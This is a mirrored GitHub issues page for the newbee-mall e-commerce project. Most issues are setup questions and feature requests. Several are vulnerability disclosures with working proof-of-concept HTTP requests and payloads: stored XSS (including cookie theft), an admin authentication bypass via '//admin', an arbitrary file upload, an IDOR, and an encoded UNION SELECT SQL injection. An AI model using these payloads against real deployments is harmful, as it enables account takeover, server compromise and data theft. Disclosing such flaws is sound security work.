Code Monkey home page Code Monkey logo

newbee-ltd / newbee-mall Goto Github PK

View Code? Open in Web Editor NEW
10.8K 229.0 2.7K 35.38 MB

🔥 🎉newbee-mall是一套电商系统,包括基础版本(Spring Boot+Thymeleaf)、前后端分离版本(Spring Boot+Vue 3+Element-Plus+Vue-Router 4+Pinia+Vant 4) 、秒杀版本、Go语言版本、微服务版本(Spring Cloud Alibaba+Nacos+Sentinel+Seata+Spring Cloud Gateway+OpenFeign+ELK)。 前台商城系统包含首页门户、商品分类、新品上线、首页轮播、商品推荐、商品搜索、商品展示、购物车、订单结算、订单流程、个人订单管理、会员中心、帮助中心等模块。 后台管理系统包含数据面板、轮播图管理、商品管理、订单管理、会员管理、分类管理、设置等模块。

Home Page: https://item.jd.com/12890115.html

License: GNU General Public License v3.0

Java 90.81% HTML 9.19%
spring-boot springboot mybatis mall shop springboot2 springboot-sample springboot-learning adminlte springboot-mybatis

newbee-mall's People

Contributors

newbee-mall avatar xuxinkai-cn avatar zhenfeng13 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

newbee-mall's Issues

bug修复

修复在后台下架商品前台扔能搜索到的bug

几个潜在漏洞提醒

AdminLoginInterceptor存在绕过风险,uri.startsWith("/admin")可以用../绕过,建议对uri进行归一化处理后再进行操作

admin/upload/file接口,任意文件上传+跨目录上传,结合上AdminLoginInterceptor的绕过很容易被种马

商品图片不显示

大佬,商品图片好像不显示,我解压那个upload文件,然后在static新建一个goods-img文件夹也不显示呢

缓存

三哥,能否把缓存机制整合进来

导入sql报错

我按“项目初体验:启动和使用新蜂商城”中所讲,将sql脚本导入新建的数据库中。用的连接工具是navicat for mysql。
工具报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0) NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', create_user i' at line 7。
是mysql版本问题吗?我版本是5.5.58

图片上传

大佬您好,后台商品管理怎么上传图片的呢,没看到有图片上传

建议在协议上增加附加条件,比如只允许学习使用,任何商用行为需要获得授权。

如何看待开源软件的知识产权问题
这样后续任何使用该项目的人都可以清晰的了解到使用范围,而不是使用 GPL 协议加软件著作权,还得仔细看看他俩的内容。
举个例子:如果我使用该软件并且修改了还售卖服务,我只要开源就好了(根据 GPL),不需要获得原作者的授权。那对于软件著作权来说我需要获得原作者的授权么?没有仔细了解,不清楚。

There is a Cross site scripting vulnerability exists in newbee-mall

[Suggested description]
There is a cross site scripting vulnerability in the commodity information modification module in the main version of NewBee mall. The vulnerability stems from the fact that the form submission module that modifies the commodity information does not restrict or escape the sensitive characters entered, causing the execution of malicious JS code to trigger JS pop-up.

[Vulnerability Type]
Cross site scripting vulnerability

[Vendor of Product]
https://github.com/newbee-ltd/newbee-mall

[Affected Product Code Base]
v1.0.0

[Affected Component]

POST /admin/goods/update HTTP/1.1
Host: localhost:28089
Content-Length: 392
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json
Origin: http://localhost:28089
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:28089/admin/goods/edit/10907
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=5B28A8C926D035BCC4A809131899B51D
Connection: close

{"goodsId":"10907","goodsName":"鐖辩柉<script>alert(\"xss\")</script>","goodsIntro":"xxx","goodsCategoryId":"47","tag":"鐖辩柉","originalPrice":"1","sellingPrice":"1","stockNum":"0","goodsDetailContent":"<p>hhh</p><p><br/></p>","goodsCoverImg":"http://localhost:28089/upload/20220303_10153124.html","goodsCarousel":"http://localhost:28089/upload/20220303_10153124.html","goodsSellStatus":"0"}

[Impact Code execution]
true

[Vulnerability proof]
1.Access address http://localhost:28089/admin/goods , select the commodity information to be modified and enter information editing.
image

2.Enter <script>alert(“xss”)</script> in the input box and click Save to complete the form information submission.
image

image

3.The pop-up window is triggered when the page is refreshed, and the loophole reproduction is completed
image

yesyes

Can share the background database come out?

controller传值前端报错

eg: request.getSession().setAttribute("itemsTotal", itemsTotal); 在前端引用itemsTotal时加session. 要不前段无法解析

System background authentication can be bypassed

1、The authentication logic of the system's background /admin is in code AdminLoginInterceptor:
image
2、This can easily be bypassed, like request //admin:
1)We delete the requested cookie field and then request /admin,returns 302:
image
2)But if we request //admin,We can perform administrator actions without logging in,
For example, upload a babat file:
image
It can execute any server command,such as calc:
image

希望可以增加Unit test

在spring中unit test也是极其重要的一环,希望可以增加unit test的部分来和代码形成互相验证

There is xss in the front desk which can get hazards such as administrator cookies

1、Build an environment to simulate users selecting products at the front desk——add to cart——confirm order-pay:
http://127.0.0.1:28089/shop-cart/settle
Insert the payload here at the harvest information:

<script> alert (document.cookie) ![image](https://user-images.githubusercontent.com/22486282/82964894-369aa900-9ff9-11ea-982e-c1c9960371b5.png) 2、When the administrator logs in to the background, XSS will be triggered when viewing the "View Recipient Information" of this order in the "Order Management Office" ![1111](https://user-images.githubusercontent.com/22486282/82964966-6c3f9200-9ff9-11ea-97aa-b03066d60513.png)

【校招社招】这套商城跟淘宝天猫有什么差别,不好奇吗?

阿里直招,社招校招均有,BU囊括电商零售系统全链路,前端至交易、详情页,后端至仓储、履约,更有海外复杂场景等你实践,有意请邮件简历至 liuzhu.wlz#alibaba-inc.com
校招的潜力股,勇敢发来简历吧,会邀请进校招小群,定期分享写简历的技巧,更有优先面试的机会

公司/团队介绍
我们是阿里巴巴集团新零售技术旗下供应链技术国际化团队,我们致力于通过世界一流的全球化技术服务来自全球10亿+的海外消费者,为全球消费者带去极致的购物体验,让买全球卖全球的使命落地成为普惠全球的显示图景。我们服务的业务实体有 lazada、AliExpress、天猫海外、Daraz、Trendyol等平台。

联系方式
邮箱: liuzhu.wlz#alibaba-inc.com

SQL Injection in ` \src\main\resources\mapper\NewBeeMallGoodsMapper.xml `

\src\main\resources\mapper\NewBeeMallGoodsMapper.xml

    <select id="findNewBeeMallGoodsListBySearch" parameterType="Map" resultMap="BaseResultMap">
        select
        <include refid="Base_Column_List"/>
        from tb_newbee_mall_goods_info
        <where>
            <if test="keyword!=null and keyword!=''">
                and (goods_name like CONCAT('%','${keyword}','%') or goods_intro like CONCAT('%','${keyword}','%'))
            </if>
            <if test="goodsCategoryId!=null and goodsCategoryId!=''">
                and goods_category_id = #{goodsCategoryId}
            </if>
        </where>
        <if test="orderBy!=null and orderBy!=''">
            <choose>
                <when test="orderBy == 'new'">
                    <!-- 按照发布时间倒序排列 -->
                    order by goods_id desc
                </when>
                <when test="orderBy == 'price'">
                    <!-- 按照售价从小到大排列 -->
                    order by selling_price asc
                </when>
                <otherwise>
                    <!-- 默认按照库存数量从大到小排列 -->
                    order by stock_num desc
                </otherwise>
            </choose>
        </if>
        <if test="start!=null and limit!=null">
            limit #{start},#{limit}
        </if>
    </select>

Where ${keyword} is used for splicing sql statements, there is a risk of SQL injection.

poc:

http://127.0.0.1:28089/search?goodsCategoryId=&keyword=%5C%25%27%29%29%20%55%4E%49%4F%4E%20%41%4C%4C%20%53%45%4C%45%43%54%20%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%43%4F%4E%43%41%54%28%30%78%37%31%37%36%36%32%37%38%37%31%2C%49%46%4E%55%4C%4C%28%43%41%53%54%28%43%55%52%52%45%4E%54%5F%55%53%45%52%28%29%20%41%53%20%43%48%41%52%29%2C%30%78%32%30%29%2C%30%78%37%31%36%32%37%38%36%62%37%31%29%2C%4E%55%4C%4C%2C%4E%55%4C%4C%23&orderBy=default

We will find a sql error, which proves that the vulnerability already exists.

suggest

建议使用lombok;有些函数过长建议拆分

Add Dockerfile

adding a docker file for the whole project would be usefull

There is a File upload vulnerability exists in newbee-mall

[Suggested description]
A file upload vulnerability exists in NewBee mall. Because the upload method of uploadcontroller can bypass the upload restriction by modifying the file format suffix.

[Vulnerability Type]
File upload vulnerability

[Vendor of Product]
https://github.com/newbee-ltd/newbee-mall

[Affected Product Code Base]
v1.0.0

[Affected Component]
POST /admin/upload/file HTTP/1.1
Host: localhost:28089
Content-Length: 671
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:28089/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoXATzrr6JWhnTx5Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: http://localhost:28089/admin/goods/edit/10907
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=11D044F12F07C3F2772AC7EE836610E2
Connection: close

------WebKitFormBoundaryoXATzrr6JWhnTx5Q
Content-Disposition: form-data; name="file"; filename="1.html.png"
Content-Type: image/png

<script type="text/javascript" src="http://www.qq.com/404/search_children.js" charset="utf-8" homePageUrl="{{domain}}" homePageName="{{siteName}}"></script>
        <script>alert("xss")</script>
    </div>
</div>
------WebKitFormBoundaryoXATzrr6JWhnTx5Q--

[Impact Code execution]
true

[Vulnerability proof]
1.Access address http://localhost:28089/admin/goods , select a commodity information to modify and enter the file upload page.
image
2.Open burpsuite packet capturing agent and click to upload pictures.
image
3.By default, the system only supports JPG, PNG and GIF files. We can bypass them by modifying the file suffix.
image
4.Modify the value of filename to 1.html
image
Get the access path to file upload
image
Complete data update
image
5.Access the upload file path, and the vulnerability reproduction is completed.
image

[Defective code]
image

界面显示问题

作者你好像没有提供商品图片的文件夹,导致不能显示商品的图片。或者还是我自己哪里出错了。
image
`

技术问答

大佬后期是否考虑引入Redis、MongoDB、ES等技术

register is faied

注册的时候出现未知异常请联系管理员,应该怎么解决呀?谢谢你的回答,还有upload应该直接放在resource下边吗

关于快速部署和样例

有两个疑问:

  1. 大神能否给出个快速部署的教程,或者给个docker的镜像;
  2. 相比展示那么多贴图,有木有用这个搭起来的demo网站。

多谢。

IDOR causes unauthorized changes to any user information

1、/personal/updateInfo,this interface can be used to update user information:
image
2、The corresponding code is as follows:
image
Track updateUserInfo method:
image
3、The code updates the information after querying by the value of userid, so you can modify any user information by tampering with the value of userId.

Help

错误信息:nested exception is org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: org.springframework.jdbc.CannotGetJdbcConnectionException: Failed to obtain JDBC Connection; nested exception is java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up. ### The error may exist in file [D:\Desktop\newbee-mall-master\target\classes\mapper\GoodsCategoryMapper.xml] ### The error may involve ltd.newbee.mall.dao.GoodsCategoryMapper.selectByLevelAndParentIdsAndNumber ### The error occurred while executing a query ### Cause: org.springframework.jdbc.CannotGetJdbcConnectionException: Failed to obtain JDBC Connection; nested exception is java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up.

登录

大佬,图片上传知道了,就是有个问题,我浏览商品的时候,查看商品详情就让我登录,我想着是购买或者加入购物车的时候再登录,然后我把商城页面登录拦截那里的代码:.addPathPatterns("/goods/detail/**")删掉了,好像不可以呢,点击购买和加入购物车就没反应了

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.